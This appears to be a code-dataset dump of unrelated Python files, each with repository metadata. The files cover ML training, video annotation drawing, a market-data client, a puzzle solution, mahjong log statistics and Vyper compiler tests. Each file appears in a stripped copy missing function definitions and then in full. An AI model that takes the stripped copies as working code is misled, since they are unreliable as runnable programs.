os.path.join(study_dir, study_name) model_name = "rf2.joblib" model_path = f"{ROOT_DIR}/weighted_mean_prediction/random_forest/models/{model_name}" X_train, X_val, X_test, y_train, y_val, y_test = get_encoded_split_data() X_train = pd.concat([X_train, X_val]) y_train = pd.concat([y_train, y_val]) study = load_study(study_path) rf: RandomForestRegressor = load_model(model_path) if rf is None: rf = train_tuned_model(study.best_params, X_train, y_train["weighted_mean"], model_path) else: if not is_same_params(study.best_params, rf.get_params()): rf = train_tuned_model(study.best_params, X_train, y_train["weighted_mean"], model_path) train_acc = rf.score(X_train, y_train) test_acc = rf.score(X_test, y_test) print(train_acc, test_acc) for idx, importance in enumerate(rf.feature_importances_): print(f"{X_train.columns[idx]} : {importance}") # plot_rf_feature_importances(rf.feature_importances_) predictions = rf.predict(X_test) mape = metrics.mean_absolute_percentage_error(predictions, y_test) mse = metrics.mean_squared_error(predictions, y_test) print("\nMAPE = ", mape) print("MSE = ", mse) plt.scatter(range(len(predictions[:100])), predictions[:100]) plt.scatter(range(len(y_test[:100])), y_test[:100]) plt.show()

0

464

0

80

90

0278f07d5c4fcf43dea6388a703c9cfa378a80f3

4,464

py

Python

Evaluation_Protocol/Task2_VideoTextSpotting/utils/Annotation_Deal/vis.py

weijiawu/BOVText-Benchmark

375cc1c72e20fb751e17a33c74fc4ca5c1557389

[ "CC-BY-4.0" ]

24

2021-10-12T04:02:31.000Z

2022-03-31T07:19:17.000Z

Evaluation_Protocol/Task2_VideoTextSpotting/utils/Annotation_Deal/vis.py

maoxiaofei99/BOVText-Benchmark

880342867704f8be78fb8f8e1615a234a287a574

[ "CC-BY-4.0" ]

1

2021-10-12T04:06:14.000Z

Evaluation_Protocol/Task2_VideoTextSpotting/utils/Annotation_Deal/vis.py

maoxiaofei99/BOVText-Benchmark

880342867704f8be78fb8f8e1615a234a287a574

[ "CC-BY-4.0" ]

5

2021-11-29T05:18:36.000Z

2022-02-27T02:22:47.000Z

# -*- coding: utf-8 -*- import cv2 import os import numpy as np # import Levenshtein from cv2 import VideoWriter_fourcc from tqdm import tqdm import shutil def Frames2Video(frames_dir=""): ''' frames_dir ''' img_root = frames_dir #'E:\\KSText\\videos_frames\\video_14_6' image = cv2.imread(os.path.join(img_root,"1.jpg")) h,w,_ = image.shape out_root = frames_dir+".avi" # Edit each frame's appearing time! fps = 20 fourcc = VideoWriter_fourcc(*"MJPG") # jpg videoWriter = cv2.VideoWriter(out_root, fourcc, fps, (w, h)) im_names = os.listdir(img_root) num_frames = len(im_names) print(len(im_names)) for im_name in tqdm(range(1, num_frames+1)): string = os.path.join( img_root, str(im_name) + '.jpg') # print(string) frame = cv2.imread(string) # frame = cv2.resize(frame, (w, h)) videoWriter.write(frame) videoWriter.release() shutil.rmtree(img_root) if __name__ == "__main__": root = "/home/guoxiaofeng/.jupyter/wuweijia/VideoTextSpotting/MMVText_20S/New_Add/Video_Frame" json_root = "/home/guoxiaofeng/.jupyter/wuweijia/VideoTextSpotting/MMVText_20S/New_Add/Annotation" result_path_cls = "./vis" seqs = ["48901770165" , "49004756658" , "49287498737", "49424491900", "49466537994", "49552222543","49983613955","Cls18_1","Cls26_1","demo"] for video_name in tqdm(os.listdir(json_root)): annotation_path_ = os.path.join(json_root, video_name) video_path_ = os.path.join(root, video_name.split(".json")[0]) annotation = get_annotation(annotation_path_) if video_name.split(".json")[0] in seqs: continue result_path_cls_video = os.path.join(result_path_cls, video_name.split(".json")[0]) if not os.path.exists(result_path_cls_video): os.makedirs(result_path_cls_video) else: continue for frame_id in annotation.keys(): frame_name = video_name.split(".json")[0] + "_" + frame_id.zfill(6) + ".jpg" frame_path = os.path.join(video_path_,frame_name) frame = cv2.imread(frame_path) # print(frame_path) annotatation_frame = annotation[frame_id] for data in annotatation_frame: x1,y1,x2,y2,x3,y3,x4,y4,ID, content,is_caption = data # print(data) id_content = str(content) + " " + str(ID) # print(id_content) # print(frame.shape) if is_caption == "scene": points = np.array([[x1, y1], [x2, y2], [x3, y3], [x4, y4]], np.int32) cv2.polylines(frame, [points], True, (0, 0, 255), thickness=3) frame=cv2AddChineseText(frame,id_content, (int(x1), int(y1) - 20),(0, 255, 0), 45) else: points = np.array([[x1, y1], [x2, y2], [x3, y3], [x4, y4]], np.int32) cv2.polylines(frame, [points], True, (0, 255, 0), thickness=3) frame=cv2AddChineseText(frame,id_content, (int(x1), int(y1) - 20),(0, 255, 0), 45) # if not os.path.exists(result_path): # os.makedirs(result_path) frame_vis_path = os.path.join(result_path_cls_video, frame_id+".jpg") cv2.imwrite(frame_vis_path, frame) # video_vis_path = "./" Frames2Video(frames_dir=result_path_cls_video) # break # break

35.428571

144

0.600582

# -*- coding: utf-8 -*- import cv2 import os import copy import numpy as np import math # import Levenshtein from cv2 import VideoWriter, VideoWriter_fourcc import json from tqdm import tqdm from PIL import Image, ImageDraw, ImageFont import shutil def Frames2Video(frames_dir=""): ''' 将frames_dir下面的所有视频帧合成一个视频 ''' img_root = frames_dir #'E:\\KSText\\videos_frames\\video_14_6' image = cv2.imread(os.path.join(img_root,"1.jpg")) h,w,_ = image.shape out_root = frames_dir+".avi" # Edit each frame's appearing time! fps = 20 fourcc = VideoWriter_fourcc(*"MJPG") # 支持jpg videoWriter = cv2.VideoWriter(out_root, fourcc, fps, (w, h)) im_names = os.listdir(img_root) num_frames = len(im_names) print(len(im_names)) for im_name in tqdm(range(1, num_frames+1)): string = os.path.join( img_root, str(im_name) + '.jpg') # print(string) frame = cv2.imread(string) # frame = cv2.resize(frame, (w, h)) videoWriter.write(frame) videoWriter.release() shutil.rmtree(img_root) def get_annotation(video_path): annotation = {} with open(video_path,'r',encoding='utf-8-sig') as load_f: gt = json.load(load_f) for child in gt: lines = gt[child] annotation.update({child:lines}) return annotation def cv2AddChineseText(img, text, position, textColor=(0, 255, 0), textSize=30): if (isinstance(img, np.ndarray)): # 判断是否OpenCV图片类型 img = Image.fromarray(cv2.cvtColor(img, cv2.COLOR_BGR2RGB)) # 创建一个可以在给定图像上绘图的对象 draw = ImageDraw.Draw(img) # 字体的格式 fontStyle = ImageFont.truetype( "./simsun.ttc", textSize, encoding="utf-8") # 绘制文本 draw.text(position, text, textColor, font=fontStyle) # 转换回OpenCV格式 return cv2.cvtColor(np.asarray(img), cv2.COLOR_RGB2BGR) if __name__ == "__main__": root = "/home/guoxiaofeng/.jupyter/wuweijia/VideoTextSpotting/MMVText_20S/New_Add/Video_Frame" json_root = "/home/guoxiaofeng/.jupyter/wuweijia/VideoTextSpotting/MMVText_20S/New_Add/Annotation" result_path_cls = "./vis" seqs = ["48901770165" , "49004756658" , "49287498737", "49424491900", "49466537994", "49552222543","49983613955","Cls18_1","Cls26_1","demo"] for video_name in tqdm(os.listdir(json_root)): annotation_path_ = os.path.join(json_root, video_name) video_path_ = os.path.join(root, video_name.split(".json")[0]) annotation = get_annotation(annotation_path_) if video_name.split(".json")[0] in seqs: continue result_path_cls_video = os.path.join(result_path_cls, video_name.split(".json")[0]) if not os.path.exists(result_path_cls_video): os.makedirs(result_path_cls_video) else: continue for frame_id in annotation.keys(): frame_name = video_name.split(".json")[0] + "_" + frame_id.zfill(6) + ".jpg" frame_path = os.path.join(video_path_,frame_name) frame = cv2.imread(frame_path) # print(frame_path) annotatation_frame = annotation[frame_id] for data in annotatation_frame: x1,y1,x2,y2,x3,y3,x4,y4,ID, content,is_caption = data # print(data) id_content = str(content) + " " + str(ID) # print(id_content) # print(frame.shape) if is_caption == "scene": points = np.array([[x1, y1], [x2, y2], [x3, y3], [x4, y4]], np.int32) cv2.polylines(frame, [points], True, (0, 0, 255), thickness=3) frame=cv2AddChineseText(frame,id_content, (int(x1), int(y1) - 20),(0, 255, 0), 45) else: points = np.array([[x1, y1], [x2, y2], [x3, y3], [x4, y4]], np.int32) cv2.polylines(frame, [points], True, (0, 255, 0), thickness=3) frame=cv2AddChineseText(frame,id_content, (int(x1), int(y1) - 20),(0, 255, 0), 45) # if not os.path.exists(result_path): # os.makedirs(result_path) frame_vis_path = os.path.join(result_path_cls_video, frame_id+".jpg") cv2.imwrite(frame_vis_path, frame) # video_vis_path = "./" Frames2Video(frames_dir=result_path_cls_video) # break # break

168

0

686

0

5

138

132e0421e9b24a450962f82bb4efb1ae59d84d80

5,814

py

Python

vnpy_tinysoft/tinysoft_datafeed.py

noranhe/vnpy_tinysoft

aaa00679adf93b40710e03113411adc24a98a038

[ "MIT" ]

null

vnpy_tinysoft/tinysoft_datafeed.py

noranhe/vnpy_tinysoft

aaa00679adf93b40710e03113411adc24a98a038

[ "MIT" ]

1

2021-10-30T05:32:06.000Z

2021-11-01T11:36:15.000Z

vnpy_tinysoft/tinysoft_datafeed.py

vnpy/vnpy_tinysoft

0d97a91251c02f1b2a7e4afd707a2157056605c6

[ "MIT" ]

null

from datetime import timedelta from typing import Dict from pytz import timezone from vnpy.trader.constant import Exchange, Interval EXCHANGE_MAP: Dict[Exchange, str] = { Exchange.SSE: "SH", Exchange.SZSE: "SZ" } INTERVAL_MAP: Dict[Interval, str] = { Interval.MINUTE: "cy_1m", Interval.HOUR: "cy_60m", Interval.DAILY: "cy_day", } SHIFT_MAP: Dict[Interval, timedelta] = { Interval.MINUTE: timedelta(minutes=1), Interval.HOUR: timedelta(hours=1), } CHINA_TZ = timezone("Asia/Shanghai")

31.945055

133

0.491916

from datetime import datetime, timedelta from typing import Dict, List, Optional from pytz import timezone from vnpy.trader.setting import SETTINGS from vnpy.trader.constant import Exchange, Interval from vnpy.trader.object import BarData, TickData, HistoryRequest from vnpy.trader.utility import extract_vt_symbol from vnpy.trader.datafeed import BaseDatafeed from .pyTSL import Client, DoubleToDatetime EXCHANGE_MAP: Dict[Exchange, str] = { Exchange.SSE: "SH", Exchange.SZSE: "SZ" } INTERVAL_MAP: Dict[Interval, str] = { Interval.MINUTE: "cy_1m", Interval.HOUR: "cy_60m", Interval.DAILY: "cy_day", } SHIFT_MAP: Dict[Interval, timedelta] = { Interval.MINUTE: timedelta(minutes=1), Interval.HOUR: timedelta(hours=1), } CHINA_TZ = timezone("Asia/Shanghai") class TinysoftDatafeed(BaseDatafeed): """天软数据服务接口""" def __init__(self): """""" self.username: str = SETTINGS["datafeed.username"] self.password: str = SETTINGS["datafeed.password"] self.client: Client = None self.inited: bool = False def init(self) -> bool: """初始化""" if self.inited: return True self.client = Client( self.username, self.password, "tsl.tinysoft.com.cn", 443 ) n: int = self.client.login() if n != 1: return False self.inited = True return True def query_bar_history(self, req: HistoryRequest) -> Optional[List[BarData]]: """查询K线数据""" if not self.inited: self.init() symbol, exchange = extract_vt_symbol(req.vt_symbol) tsl_exchange: str = EXCHANGE_MAP.get(exchange, "") tsl_interval: str = INTERVAL_MAP[req.interval] bars: List[BarData] = [] start_str: str = req.start.strftime("%Y%m%d") end_str: str = req.end.strftime("%Y%m%d") cmd: str = ( f"setsysparam(pn_cycle(),{tsl_interval}());" "return select * from markettable " f"datekey {start_str}T to {end_str}T " f"of '{tsl_exchange}{symbol}' end;" ) result = self.client.exec(cmd) if not result.error(): data = result.value() shift: timedelta = SHIFT_MAP.get(req.interval, None) for d in data: dt: datetime = DoubleToDatetime(d["date"]) if shift: dt -= shift bar: BarData = BarData( symbol=symbol, exchange=exchange, datetime=CHINA_TZ.localize(dt), interval=req.interval, open_price=d["open"], high_price=d["high"], low_price=d["low"], close_price=d["close"], volume=d["vol"], turnover=d["amount"], gateway_name="TSL" ) # 期货则获取持仓量字段 if not tsl_exchange: bar.open_interest = d["sectional_cjbs"] bars.append(bar) return bars def query_tick_history(self, req: HistoryRequest) -> Optional[List[TickData]]: """查询Tick数据""" if not self.inited: self.init() symbol, exchange = extract_vt_symbol(req.vt_symbol) tsl_exchange: str = EXCHANGE_MAP.get(exchange, "") ticks: List[TickData] = [] dt: datetime = req.start while dt <= req.end: date_str: str = dt.strftime("%Y%m%d") cmd: str = f"return select * from tradetable datekey {date_str}T to {date_str}T+16/24 of '{tsl_exchange}{symbol}' end ; " result = self.client.exec(cmd) if not result.error(): data = result.value() for d in data: dt: datetime = DoubleToDatetime(d["date"]) dt: datetime = CHINA_TZ.localize(dt) tick: TickData = TickData( symbol=symbol, exchange=exchange, name=d["StockName"], datetime=dt, open_price=d["sectional_open"], high_price=d["sectional_high"], low_price=d["sectional_low"], last_price=d["price"], volume=d["sectional_vol"], turnover=d["sectional_amount"], bid_price_1=d["buy1"], bid_price_2=d["buy2"], bid_price_3=d["buy3"], bid_price_4=d["buy4"], bid_price_5=d["buy5"], ask_price_1=d["sale1"], ask_price_2=d["sale2"], ask_price_3=d["sale3"], ask_price_4=d["sale4"], ask_price_5=d["sale5"], bid_volume_1=d["bc1"], bid_volume_2=d["bc2"], bid_volume_3=d["bc3"], bid_volume_4=d["bc4"], bid_volume_5=d["bc5"], ask_volume_1=d["sc1"], ask_volume_2=d["sc2"], ask_volume_3=d["sc3"], ask_volume_4=d["sc4"], ask_volume_5=d["sc5"], localtime=dt, gateway_name="TSL" ) # 期货则获取持仓量字段 if not tsl_exchange: tick.open_interest = d["sectional_cjbs"] ticks.append(tick) dt += timedelta(days=1) return ticks

120

0

4,959

0

162

135

e2d1dcb2354936fd158943bcf5fefb6597f1fd28

1,203

py

Python

d8.py

sdamashek/adventofcode

68b50d16246657313ce491b1b1b047e743f687fa

[ "Unlicense" ]

null

d8.py

sdamashek/adventofcode

68b50d16246657313ce491b1b1b047e743f687fa

[ "Unlicense" ]

null

d8.py

sdamashek/adventofcode

68b50d16246657313ce491b1b1b047e743f687fa

[ "Unlicense" ]

null

inp = open('input_d8.txt').read() arr = [[0 for i in range(50)] for j in range(6)] for i in inp.split('\n')[:-1]: if i.startswith('rotate row'): rotaterow(int(i.split('y=')[1].split(' ')[0]), int(i.split('by ')[1])) elif i.startswith('rotate column'): print(i) rotatecol(int(i.split('x=')[1].split(' ')[0]), int(i.split('by ')[1])) else: rect(int(i.split(' ')[1].split('x')[0]), int(i.split('x')[1])) print(arr) print(countpixels()) for i in arr: print(' '.join(map(str,i)))

23.134615

78

0.47714

inp = open('input_d8.txt').read() arr = [[0 for i in range(50)] for j in range(6)] def rect(x,y): global arr for i in range(x): for j in range(y): print(i,j) arr[j][i] = 1 def rotatecol(x,n): global arr for _ in range(n): first = arr[5][x] for i in range(5,0,-1): arr[i][x] = arr[i-1][x] arr[0][x] = first print(arr) def rotaterow(y,n): global arr for _ in range(n): first = arr[y][49] for i in range(49,0,-1): arr[y][i] = arr[y][i-1] arr[y][0] = first print(arr) def countpixels(): c = 0 for i in range(50): for j in range(6): if arr[j][i] == 1: c += 1 return c for i in inp.split('\n')[:-1]: if i.startswith('rotate row'): rotaterow(int(i.split('y=')[1].split(' ')[0]), int(i.split('by ')[1])) elif i.startswith('rotate column'): print(i) rotatecol(int(i.split('x=')[1].split(' ')[0]), int(i.split('by ')[1])) else: rect(int(i.split(' ')[1].split('x')[0]), int(i.split('x')[1])) print(arr) print(countpixels()) for i in arr: print(' '.join(map(str,i)))

0

584

0

92

3d85f4be772c1a036395de1aa5c734416e429682

11,772

py

Python

core/tenhou/log.py

SakuraSa/TenhouLoggerX

7d6bcfb7e22d631673c61321f3af1c05ec011db5

[ "MIT" ]

2

2016-09-19T16:33:29.000Z

2017-12-09T01:02:39.000Z

core/tenhou/log.py

SakuraSa/TenhouLoggerX

7d6bcfb7e22d631673c61321f3af1c05ec011db5

[ "MIT" ]

null

core/tenhou/log.py

SakuraSa/TenhouLoggerX

7d6bcfb7e22d631673c61321f3af1c05ec011db5

[ "MIT" ]

null

#!/usr/bin/env python # coding=utf-8 """ core.tenhou.log """ __author__ = 'Rnd495' import os import json import datetime import urllib from core.configs import Configs configs = Configs.instance() def get_results(ref_list, player_name): """ do statistics on given refs for given player result dict format (example value is avg value on data set 2015/05/15) : { fulu_chong : 0.3940, dama : 0.1165, win_time : 11.50, chong : 0.1347, win : 0.2484, win_point : 6690, ends_listening : 0.5170, fulu : 0.3717, after_richi : 0.0288, now_line_days : 3.71, max_line_days : 16.67, first_richi : 0.1597, count : 1000, } :param ref_list: ref list :param player_name: player name :return: result dict """ counter = {} adder = {} game_date_text_set = set() ref_counter = 0 for ref in ref_list: ref_counter += 1 log = Log(ref) game_date_text_set.add(log.time.strftime("%Y%m%d")) player_index = log.get_player_index(player_name) if player_index < 0: # should not be here continue for sub_log in log.sub_log: statistics = StatisticForSubLog(sub_log) results = statistics.get_result(player_index) for key, value in results.iteritems(): if value is not None: counter[key] = counter.get(key, 0) + 1 adder[key] = adder.get(key, 0) + value results = {} for key, value in counter.iteritems(): results[key] = (adder[key] / float(value)) if value else 0 max_line_days = now_line_days = 0 last_date = None for date_text in sorted(game_date_text_set): now_date = datetime.datetime.strptime(date_text, "%Y%m%d") if last_date: if int((now_date - last_date).days) <= 1: now_line_days += 1 max_line_days = max(max_line_days, now_line_days) else: now_line_days = 1 last_date = now_date results['max_line_days'] = max_line_days results['now_line_days'] = now_line_days results['count'] = ref_counter return results if __name__ == '__main__': import time from sqlalchemy import func, desc from core.models import get_new_session, PlayerLog session = get_new_session() counter = func.count(PlayerLog.name) query = session.query(PlayerLog.name).filter((PlayerLog.lobby == '0000') & (PlayerLog.name != 'NoName')) \ .group_by(PlayerLog.name).having(counter >= 50).order_by(desc(counter)) results = {} for name in (row[0] for row in query): start_time = time.time() query = session.query(PlayerLog.ref).filter((PlayerLog.name == name) & (PlayerLog.lobby == '0000')) refs = [row[0] for row in query] results[name] = get_results(refs, name) size = len(refs) time_cost = time.time() - start_time hz = size / time_cost print '%6d' % size, '%.2fs' % time_cost, '%.2fHz' % hz, name session.close() data_lists = {} for row in results.itervalues(): for key, value in row.iteritems(): data_lists.setdefault(key, []).append(value) print '' print '%20s' % 'type', '%6s' % 'avg', '%6s' % 'max', '%6s' % 'min', '%6s' % 'mu' # import numpy as np from scipy.stats import norm # import matplotlib.pyplot as plt for key, data_list in data_lists.iteritems(): avg = sum(data_list) / float(len(data_list)) mu, std = norm.fit(data_list) print '%20s' % key, format_data(avg), format_data(max(data_list)), format_data(min(data_list)), format_data( mu), std # # # Plot the histogram. # plt.hist(data_list, bins=25, normed=True, alpha=0.6, color='g') # # # Plot the PDF. # xmin, xmax = plt.xlim() # x = np.linspace(xmin, xmax, 100) # p = norm.pdf(x, mu, std) # plt.plot(x, p, 'k', linewidth=2) # title = "%s fit results: mu = %.2f, std = %.2f" % (key, mu, std) # plt.title(title) # # plt.show()

29.802532

116

0.569147

#!/usr/bin/env python # coding=utf-8 """ core.tenhou.log """ __author__ = 'Rnd495' import os import json import datetime import urllib from core.configs import Configs configs = Configs.instance() class Log(object): """ Log """ def __init__(self, ref): with open(Log.get_file_name(ref), 'rb') as file_handle: self.json = json.load(file_handle) # cache self._scores = None self._rankings = None @property def size(self): return len(self.names) @property def sub_log(self): return self.json['log'] @property def ref(self): return self.json['ref'] @property def rule(self): return self.json['rule']['disp'] @property def lobby(self): return self.ref.split('-')[2] @property def rule_code(self): return self.ref.split('-')[1] @property def dans(self): return self.json['dan'] @property def names(self): return self.json['name'] @property def scores(self): if not self._scores: g = iter(self.json['sc']) self._scores = zip(g, g) return self._scores @property def time(self): return datetime.datetime.strptime(self.ref[:10], '%Y%m%d%H') @property def points(self): return [point[0] for point in self.scores] @property def pts(self): return [point[1] for point in self.scores] @property def rankings(self): if not self._rankings: point_sorted = sorted(((point, index) for index, point in enumerate(self.points)), reverse=True) self._rankings = [None] * len(point_sorted) for ranking, (_, index) in enumerate(point_sorted): self._rankings[index] = ranking return self._rankings @property def rates(self): return self.json['rate'] @staticmethod def check_exists(ref): return os.path.exists(Log.get_file_name(ref)) @staticmethod def get_file_name(ref): return os.path.join(configs.tenhou_log_dir, '%s.json' % ref) @staticmethod def iter_all(): for root, dirs, files in os.walk(configs.tenhou_log_dir): for file_name in files: ref = os.path.splitext(file_name)[0] yield Log(ref) def get_player_index(self, name): try: return self.names.index(name) except ValueError: return None def get_tenhou_link(self, tw_name=None): base = "/watch/log?" params = {'ref': self.ref} for i, name in enumerate(self.names): if isinstance(name, unicode): name = name.encode("utf-8") params['UN%d' % i] = name tw = None if tw_name: tw = self.get_player_index(tw_name) if tw is not None: params['tw'] = tw return base + urllib.urlencode(params) class StatisticForSubLog(object): """ StatisticForSubLog """ def __init__(self, sub_log): self.sub_log = sub_log self._richi_list = None self._fulu_list = None @property def game_size(self): return len(self.point_starts) @property def game_index(self): return self.sub_log[0] @property def dora_pointers_out(self): return self.sub_log[2] @property def dora_pointers_in(self): return self.sub_log[3] @property def start_cards(self): return self.sub_log[4:4 + 3 * self.game_size:3] @property def cards_ins(self): return self.sub_log[5:5 + 3 * self.game_size:3] @property def cards_outs(self): return self.sub_log[6:6 + 3 * self.game_size:3] @property def result_list(self): return self.sub_log[16] @property def is_agari(self): return self.result_description == u'和了' @property def result_description(self): return self.result_list[0] @property def point_starts(self): return self.sub_log[1] @property def point_changes(self): return self.result_list[1::2] @property def richi_list(self): if self._richi_list is None: self._get_player_details() return self._richi_list @property def is_fulu_list(self): if self._fulu_list is None: self._get_player_details() return self._fulu_list def _get_player_details(self): self._richi_list = [None] * self.game_size self._fulu_list = [False] * self.game_size # scan card outs for player_index, card_out in enumerate(self.cards_outs): for time_index, action in enumerate(card_out): if self._richi_list[player_index] is not None: break if self._fulu_list[player_index]: break if not isinstance(action, int): if action.startswith('r'): self._richi_list[player_index] = (time_index, action) else: self._fulu_list[player_index] = True # scan card ins for player_index, card_in in enumerate(self.cards_ins): for time_index, action in enumerate(card_in): if self._richi_list[player_index] is not None: richi_time, richi_action = self._richi_list[player_index] if time_index >= richi_time: break if self._fulu_list[player_index]: break elif not isinstance(action, int): self._fulu_list[player_index] = True def get_result(self, player_index): # attack point_change = sum(sc[player_index] for sc in self.point_changes) win = self.is_agari and point_change > 0 win_point = point_change if win else None # speed first_richi = self.richi_list[player_index] if first_richi: for richi in self.richi_list: if richi is not None and richi[0] < first_richi[0]: first_richi = False break first_richi = bool(first_richi) win_time = None if win: win_time = len(self.cards_ins[player_index]) # int dama = None if win: dama = not self.is_fulu_list[player_index] and not self.richi_list[player_index] ends_listening = None if self.result_description == u'全員聴牌': ends_listening = True elif self.result_description == u'流局': ends_listening = point_change > 0 # def someone_chong = self.result_description == u'和了' and \ len(self.point_changes) == 1 and \ sum(p < 0 for p in self.point_changes[0]) == 1 chong = someone_chong and point_change < 0 fulu_chong = None if chong: fulu_chong = self.is_fulu_list[player_index] # brave after_richi = not first_richi and bool(self.richi_list[player_index]) fulu = self.is_fulu_list[player_index] return dict( win=win, win_point=win_point, first_richi=first_richi, win_time=win_time, dama=dama, ends_listening=ends_listening, chong=chong, fulu_chong=fulu_chong, after_richi=after_richi, fulu=fulu ) def get_results(ref_list, player_name): """ do statistics on given refs for given player result dict format (example value is avg value on data set 2015/05/15) : { fulu_chong : 0.3940, dama : 0.1165, win_time : 11.50, chong : 0.1347, win : 0.2484, win_point : 6690, ends_listening : 0.5170, fulu : 0.3717, after_richi : 0.0288, now_line_days : 3.71, max_line_days : 16.67, first_richi : 0.1597, count : 1000, } :param ref_list: ref list :param player_name: player name :return: result dict """ counter = {} adder = {} game_date_text_set = set() ref_counter = 0 for ref in ref_list: ref_counter += 1 log = Log(ref) game_date_text_set.add(log.time.strftime("%Y%m%d")) player_index = log.get_player_index(player_name) if player_index < 0: # should not be here continue for sub_log in log.sub_log: statistics = StatisticForSubLog(sub_log) results = statistics.get_result(player_index) for key, value in results.iteritems(): if value is not None: counter[key] = counter.get(key, 0) + 1 adder[key] = adder.get(key, 0) + value results = {} for key, value in counter.iteritems(): results[key] = (adder[key] / float(value)) if value else 0 max_line_days = now_line_days = 0 last_date = None for date_text in sorted(game_date_text_set): now_date = datetime.datetime.strptime(date_text, "%Y%m%d") if last_date: if int((now_date - last_date).days) <= 1: now_line_days += 1 max_line_days = max(max_line_days, now_line_days) else: now_line_days = 1 last_date = now_date results['max_line_days'] = max_line_days results['now_line_days'] = now_line_days results['count'] = ref_counter return results if __name__ == '__main__': import time from sqlalchemy import func, desc from core.models import get_new_session, PlayerLog session = get_new_session() counter = func.count(PlayerLog.name) query = session.query(PlayerLog.name).filter((PlayerLog.lobby == '0000') & (PlayerLog.name != 'NoName')) \ .group_by(PlayerLog.name).having(counter >= 50).order_by(desc(counter)) results = {} for name in (row[0] for row in query): start_time = time.time() query = session.query(PlayerLog.ref).filter((PlayerLog.name == name) & (PlayerLog.lobby == '0000')) refs = [row[0] for row in query] results[name] = get_results(refs, name) size = len(refs) time_cost = time.time() - start_time hz = size / time_cost print '%6d' % size, '%.2fs' % time_cost, '%.2fHz' % hz, name session.close() data_lists = {} for row in results.itervalues(): for key, value in row.iteritems(): data_lists.setdefault(key, []).append(value) def format_data(d): if d < 1: return '%6s' % ('%.2f%%' % (d * 100)) elif abs(d) < 100: return '%6s' % ('%.2f' % d) else: return '%6s' % ('%d' % d) print '' print '%20s' % 'type', '%6s' % 'avg', '%6s' % 'max', '%6s' % 'min', '%6s' % 'mu' # import numpy as np from scipy.stats import norm # import matplotlib.pyplot as plt for key, data_list in data_lists.iteritems(): avg = sum(data_list) / float(len(data_list)) mu, std = norm.fit(data_list) print '%20s' % key, format_data(avg), format_data(max(data_list)), format_data(min(data_list)), format_data( mu), std # # # Plot the histogram. # plt.hist(data_list, bins=25, normed=True, alpha=0.6, color='g') # # # Plot the PDF. # xmin, xmax = plt.xlim() # x = np.linspace(xmin, xmax, 100) # p = norm.pdf(x, mu, std) # plt.plot(x, p, 'k', linewidth=2) # title = "%s fit results: mu = %.2f, std = %.2f" % (key, mu, std) # plt.title(title) # # plt.show()

30

2,357

0

4,883

0

185

0

73

b97e642f766dedecd2b8dc7fbaf1c4aba0a274fb

5,267

py

Python

tests/parser/features/test_assert.py

upgradvisor/vyper

642884ea938a25793c1b2fac866e8458e63a7b49

[ "Apache-2.0" ]

1

2021-12-20T16:19:47.000Z

tests/parser/features/test_assert.py

upgradvisor/vyper

642884ea938a25793c1b2fac866e8458e63a7b49

[ "Apache-2.0" ]

1

2022-03-19T00:45:47.000Z

tests/parser/features/test_assert.py

upgradvisor/vyper

642884ea938a25793c1b2fac866e8458e63a7b49

[ "Apache-2.0" ]

null

# web3 returns f"execution reverted: {err_str}" # TODO move exception string parsing logic into assert_tx_failed invalid_code = [ """ @external def test(a: int128) -> int128: assert a > 1, "" return 1 + a """, """ @external def test(a: int128) -> int128: raise "" """, """ @external def test(): assert create_forwarder_to(self) """, ] valid_code = [ """ @external def mint(_to: address, _value: uint256): raise """, """ @internal def ret1() -> int128: return 1 @external def test(): assert self.ret1() == 1 """, """ @internal def valid_address(sender: address) -> bool: selfdestruct(sender) @external def test(): assert self.valid_address(msg.sender) """, """ @external def test(): assert raw_call(msg.sender, b'', max_outsize=1, gas=10, value=1000*1000) == b'' """, """ @external def test(): assert create_forwarder_to(self) == self """, ]

25.444444

94

0.65806

import pytest from eth_abi import decode_single from eth_tester.exceptions import TransactionFailed # web3 returns f"execution reverted: {err_str}" # TODO move exception string parsing logic into assert_tx_failed def _fixup_err_str(s): return s.replace("execution reverted: ", "") def test_assert_refund(w3, get_contract_with_gas_estimation, assert_tx_failed): code = """ @external def foo(): assert 1 == 2 """ c = get_contract_with_gas_estimation(code) a0 = w3.eth.accounts[0] gas_sent = 10 ** 6 tx_hash = c.foo(transact={"from": a0, "gas": gas_sent, "gasPrice": 10}) # More info on receipt status: # https://github.com/ethereum/EIPs/blob/master/EIPS/eip-658.md#specification. tx_receipt = w3.eth.getTransactionReceipt(tx_hash) assert tx_receipt["status"] == 0 # Checks for gas refund from revert assert tx_receipt["gasUsed"] < gas_sent def test_assert_reason(w3, get_contract_with_gas_estimation, assert_tx_failed, memory_mocker): code = """ @external def test(a: int128) -> int128: assert a > 1, "larger than one please" return 1 + a @external def test2(a: int128, b: int128, extra_reason: String[32]) -> int128: c: int128 = 11 assert a > 1, "a is not large enough" assert b == 1, concat("b may only be 1", extra_reason) return a + b + c @external def test3(reason_str: String[32]): raise reason_str """ c = get_contract_with_gas_estimation(code) assert c.test(2) == 3 with pytest.raises(TransactionFailed) as e_info: c.test(0) assert _fixup_err_str(e_info.value.args[0]) == "larger than one please" # a = 0, b = 1 with pytest.raises(TransactionFailed) as e_info: c.test2(0, 1, "") assert _fixup_err_str(e_info.value.args[0]) == "a is not large enough" # a = 1, b = 0 with pytest.raises(TransactionFailed) as e_info: c.test2(2, 2, " because I said so") assert _fixup_err_str(e_info.value.args[0]) == "b may only be 1" + " because I said so" # return correct value assert c.test2(5, 1, "") == 17 with pytest.raises(TransactionFailed) as e_info: c.test3("An exception") assert _fixup_err_str(e_info.value.args[0]) == "An exception" invalid_code = [ """ @external def test(a: int128) -> int128: assert a > 1, "" return 1 + a """, """ @external def test(a: int128) -> int128: raise "" """, """ @external def test(): assert create_forwarder_to(self) """, ] @pytest.mark.parametrize("code", invalid_code) def test_invalid_assertions(get_contract, assert_compile_failed, code): assert_compile_failed(lambda: get_contract(code)) valid_code = [ """ @external def mint(_to: address, _value: uint256): raise """, """ @internal def ret1() -> int128: return 1 @external def test(): assert self.ret1() == 1 """, """ @internal def valid_address(sender: address) -> bool: selfdestruct(sender) @external def test(): assert self.valid_address(msg.sender) """, """ @external def test(): assert raw_call(msg.sender, b'', max_outsize=1, gas=10, value=1000*1000) == b'' """, """ @external def test(): assert create_forwarder_to(self) == self """, ] @pytest.mark.parametrize("code", valid_code) def test_valid_assertions(get_contract, code): get_contract(code) def test_assert_staticcall(get_contract, assert_tx_failed, memory_mocker): foreign_code = """ state: uint256 @external def not_really_constant() -> uint256: self.state += 1 return self.state """ code = """ interface ForeignContract: def not_really_constant() -> uint256: view @external def test(): assert ForeignContract(msg.sender).not_really_constant() == 1 """ c1 = get_contract(foreign_code) c2 